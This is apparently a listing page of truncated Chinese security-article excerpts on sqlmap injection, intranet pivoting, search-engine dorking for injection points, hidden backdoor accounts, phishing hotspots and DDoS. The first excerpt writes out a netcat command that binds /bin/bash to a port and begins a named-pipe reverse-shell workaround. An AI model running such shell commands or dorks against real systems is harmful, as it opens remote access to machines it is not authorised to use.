NC的原生做法： nc -l -vv -p 2222 -e /bin/bash无法使用NC反弹的时候可以这样 先在tmp创建一个普通管道mknod /tmp/backpipe p或者mkfifo /t...
网络安全
网络安全
Sqlmap注入技巧集锦
软件名称：sqlmap 一个自动SQL 射入工具(sqlmap.py)汉化直接可用版软件大小：6.4MB更新时间：2012-10-16 TIP1 当我们注射的时候，判断注入 http://site/s...
网络安全
利用php+socket5代理进行内网渗透测试
我用到的工具是phpsocks和大家经常翻墙用的goagent，两款软件相对比，各有优势，phpsocks需要连接数据库，不过这个问题可以通过自 己修改下他的PHP脚本和java客户端即可解决，昨天想...
系统文档
使用搜索引擎搜索资料的方法
如何使用搜索引擎搜索资料，搜索引擎的使用方法 1、打开搜索引擎 1）打开网页浏览器，在地址栏输入百度搜索的网址 www.baidu.com 然后点右边的转到按钮，或者按一下回车键； 2）进入百度搜索页...
网络安全
教你使用搜索引擎批量检测网站注入点
可是在最近2年,已经无法通过百度批量查找网站是否存在注入漏洞了。 例如:我们要搜索所有网站后缀存在common.asp?id=页面的时候就可以通过inurl:common.asp?id=进行批量检测那...
系统文档
删除用户时提示无法在内置账户上运行此操作
如果管理员遇到这样的情况的话就需要注意了你的服务器可能被入侵了。 一般黑客都将这种的添加账号的手段称为”不死账户” 首先我们来了解建立不死账户的方法， 1.黑客其将guest用...
网络安全
MS-DOS时代的计算机病毒是什么样子的?
身为作家也是展出策划人的Bas van de Poel策划了“危险的思想”艺术展，在计算机病毒这个展类里，我们看到画家们将计算史上最凶残的病毒用MS-DOS风格展现在画作中。“它们(病毒)...
网络安全
Back Track5下建立“钓鱼”热点测试
BackTrack，是一套专业的计算机安全检测的Linux操作系统，简称BT。它破解WEP，WPA/WPA2加密方式的无线网络也不在话下，当然前提是需要有足够强大的密码字典文件。本文作者Jn分享了如何...
移动安全
Android又爆重大漏洞：谁之祸根，谁该庆幸
引言 当看到这则消息的时候，确实感受到一股莫名的气流在涌动，造成这种气流的主要原因是，有些人在笑、有些人在闹、有些人发愁、有些人则开始策划着什么。目前...
神兵利刃
绿盟科技威胁分析报告 ——DDoS兵器谱2014Q2版
作者：曹志华 一. 摘要 网络攻防是发生在第五空间的对抗和战争。这是一个动态的过程，无论攻击者还是防御者都在实战中寻求进步。攻防双方的“兵器”就在这个战场中不断磨砺和进化。绿盟科技关注攻防的最新进展，...
